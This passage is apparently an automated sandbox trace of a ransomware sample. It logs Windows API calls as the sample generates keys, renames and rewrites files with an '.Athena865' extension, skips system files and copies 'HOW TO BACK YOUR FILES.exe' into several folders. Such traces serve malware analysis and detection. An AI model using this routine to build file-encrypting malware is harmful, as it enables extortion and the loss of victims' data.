dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.793] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.793] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.793] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0x154 [0048.795] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000 [0048.796] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.797] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.797] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.797] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.WINPROJ.DEV.14.1033.hxn" | out: lpString1="MS.WINPROJ.DEV.14.1033.hxn") returned="MS.WINPROJ.DEV.14.1033.hxn" [0048.797] lstrlenW (lpString="MS.WINPROJ.DEV.14.1033.hxn") returned 26 [0048.797] lstrlenW (lpString="Athena865") returned 9 [0048.797] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.797] lstrlenW (lpString=".dll") returned 4 [0048.798] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2=".dll") returned 1 [0048.798] lstrlenW (lpString=".lnk") returned 4 [0048.798] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2=".lnk") returned 1 [0048.798] lstrlenW (lpString=".ini") returned 4 [0048.798] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2=".ini") returned 1 [0048.798] lstrlenW (lpString=".sys") returned 4 [0048.798] lstrcmpiW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2=".sys") returned 1 [0048.798] lstrlenW (lpString="MS.WINPROJ.DEV.14.1033.hxn") returned 26 [0048.798] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn.Athena865") returned 66 [0048.798] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.dev.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.799] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.dev.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.799] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=362) returned 1 [0048.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.799] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.800] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.800] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.800] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x470, lpName=0x0) returned 0x154 [0048.802] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x470) returned 0x100000 [0048.803] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.804] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.804] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.804] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.WINWORD.14.1033.hxn" | out: lpString1="MS.WINWORD.14.1033.hxn") returned="MS.WINWORD.14.1033.hxn" [0048.804] lstrlenW (lpString="MS.WINWORD.14.1033.hxn") returned 22 [0048.804] lstrlenW (lpString="Athena865") returned 9 [0048.804] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.804] lstrlenW (lpString=".dll") returned 4 [0048.804] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2=".dll") returned 1 [0048.804] lstrlenW (lpString=".lnk") returned 4 [0048.804] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2=".lnk") returned 1 [0048.804] lstrlenW (lpString=".ini") returned 4 [0048.804] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2=".ini") returned 1 [0048.804] lstrlenW (lpString=".sys") returned 4 [0048.804] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn", lpString2=".sys") returned 1 [0048.804] lstrlenW (lpString="MS.WINWORD.14.1033.hxn") returned 22 [0048.804] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn.Athena865") returned 62 [0048.805] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.winword.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.806] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.winword.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.806] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=338) returned 1 [0048.806] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.806] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.806] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.806] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.807] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.807] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.807] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0x154 [0048.809] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000 [0048.810] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.811] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.811] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.811] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.WINWORD.DEV.14.1033.hxn" | out: lpString1="MS.WINWORD.DEV.14.1033.hxn") returned="MS.WINWORD.DEV.14.1033.hxn" [0048.811] lstrlenW (lpString="MS.WINWORD.DEV.14.1033.hxn") returned 26 [0048.811] lstrlenW (lpString="Athena865") returned 9 [0048.811] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.811] lstrlenW (lpString=".dll") returned 4 [0048.811] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2=".dll") returned 1 [0048.811] lstrlenW (lpString=".lnk") returned 4 [0048.811] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2=".lnk") returned 1 [0048.812] lstrlenW (lpString=".ini") returned 4 [0048.812] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2=".ini") returned 1 [0048.812] lstrlenW (lpString=".sys") returned 4 [0048.812] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2=".sys") returned 1 [0048.812] lstrlenW (lpString="MS.WINWORD.DEV.14.1033.hxn") returned 26 [0048.812] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn.Athena865") returned 66 [0048.812] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.winword.dev.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.812] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.winword.dev.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.812] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=362) returned 1 [0048.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.813] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.813] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.813] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.814] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x470, lpName=0x0) returned 0x154 [0048.827] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x470) returned 0x100000 [0048.827] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.828] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.828] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.828] lstrcpyW (in: lpString1=0x241e884, lpString2="nslist.hxl" | out: lpString1="nslist.hxl") returned="nslist.hxl" [0048.828] lstrlenW (lpString="nslist.hxl") returned 10 [0048.828] lstrlenW (lpString="Athena865") returned 9 [0048.828] lstrcmpiW (lpString1="slist.hxl", lpString2="Athena865") returned 1 [0048.828] lstrlenW (lpString=".dll") returned 4 [0048.829] lstrcmpiW (lpString1="nslist.hxl", lpString2=".dll") returned 1 [0048.829] lstrlenW (lpString=".lnk") returned 4 [0048.829] lstrcmpiW (lpString1="nslist.hxl", lpString2=".lnk") returned 1 [0048.829] lstrlenW (lpString=".ini") returned 4 [0048.829] lstrcmpiW (lpString1="nslist.hxl", lpString2=".ini") returned 1 [0048.829] lstrlenW (lpString=".sys") returned 4 [0048.829] lstrcmpiW (lpString1="nslist.hxl", lpString2=".sys") returned 1 [0048.829] lstrlenW (lpString="nslist.hxl") returned 10 [0048.829] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\nslist.hxl.Athena865") returned 50 [0048.829] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\nslist.hxl" (normalized: "c:\\programdata\\microsoft help\\nslist.hxl"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\nslist.hxl.Athena865" (normalized: "c:\\programdata\\microsoft help\\nslist.hxl.athena865"), dwFlags=0x1) returned 1 [0048.829] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\nslist.hxl.Athena865" (normalized: "c:\\programdata\\microsoft help\\nslist.hxl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.830] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8668) returned 1 [0048.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.830] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.831] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.831] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.831] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24e0, lpName=0x0) returned 0x154 [0048.832] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24e0) returned 0x100000 [0048.834] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.834] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.834] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.835] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Mozilla" | out: lpString1="C:\\ProgramData\\Mozilla") returned="C:\\ProgramData\\Mozilla" [0048.836] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Mozilla" | out: lpString1="C:\\ProgramData\\Mozilla") returned="C:\\ProgramData\\Mozilla" [0048.836] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0048.836] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.836] CreateFileW (lpFileName="C:\\ProgramData\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\mozilla\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0048.836] GetLastError () returned 0x0 [0048.836] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0048.836] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0048.836] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0048.837] CloseHandle (hObject=0xf4) returned 1 [0048.837] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0048.837] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Mozilla\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0048.838] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.838] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.838] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.838] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.838] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.838] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.838] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.838] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.838] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc62f060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0048.838] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0048.838] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0048.838] lstrcmpiW (lpString1="logs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.838] lstrcmpiW (lpString1="logs", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.838] lstrcmpiW (lpString1="logs", lpString2=".") returned 1 [0048.838] lstrcmpiW (lpString1="logs", lpString2="..") returned 1 [0048.838] lstrcmpiW (lpString1="logs", lpString2="windows") returned -1 [0048.838] lstrcmpiW (lpString1="logs", lpString2="bootmgr") returned 1 [0048.838] lstrcmpiW (lpString1="logs", lpString2="temp") returned -1 [0048.838] lstrcmpiW (lpString1="logs", lpString2="pagefile.sys") returned -1 [0048.838] lstrcmpiW (lpString1="logs", lpString2="boot") returned 1 [0048.838] lstrcmpiW (lpString1="logs", lpString2="ids.txt") returned 1 [0048.838] lstrcmpiW (lpString1="logs", lpString2="ntuser.dat") returned -1 [0048.838] lstrcmpiW (lpString1="logs", lpString2="perflogs") returned -1 [0048.838] lstrcmpiW (lpString1="logs", lpString2="MSBuild") returned -1 [0048.838] lstrlenW (lpString="logs") returned 4 [0048.838] lstrcpyW (in: lpString1=0x241e876, lpString2="logs" | out: lpString1="logs") returned="logs" [0048.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dbf8 [0048.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x38) returned 0x5295d0 [0048.838] lstrcatW (in: lpString1="logs", lpString2="\\" | out: lpString1="logs\\") returned="logs\\" [0048.839] lstrcatW (in: lpString1="logs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="logs\\HOW TO BACK YOUR FILES.exe") returned="logs\\HOW TO BACK YOUR FILES.exe" [0048.839] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Mozilla\\logs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\mozilla\\logs\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.841] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0048.841] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0048.841] ReleaseMutex (hMutex=0xec) returned 1 [0048.841] CloseHandle (hObject=0xec) returned 1 [0048.842] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Oracle" | out: lpString1="C:\\ProgramData\\Oracle") returned="C:\\ProgramData\\Oracle" [0048.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a8d8 | out: hHeap=0x4f0000) returned 1 [0048.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dbe0 | out: hHeap=0x4f0000) returned 1 [0048.842] lstrlenW (lpString="C:\\ProgramData\\Oracle") returned 21 [0048.842] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\56F71A809B9AAE91EA341ED9B14A823C") returned 0xec [0048.842] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0048.842] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Oracle" | out: lpString1="C:\\ProgramData\\Oracle") returned="C:\\ProgramData\\Oracle" [0048.842] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0048.842] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\oracle\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.842] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\oracle\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0048.842] GetLastError () returned 0x0 [0048.842] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0048.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0048.843] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0048.843] CloseHandle (hObject=0xf4) returned 1 [0048.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0048.843] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0048.843] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0048.844] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.844] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.844] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.844] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.844] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.844] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.844] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.844] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.844] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc62f060, ftCreationTime.dwHighDateTime=0x1d575b6, 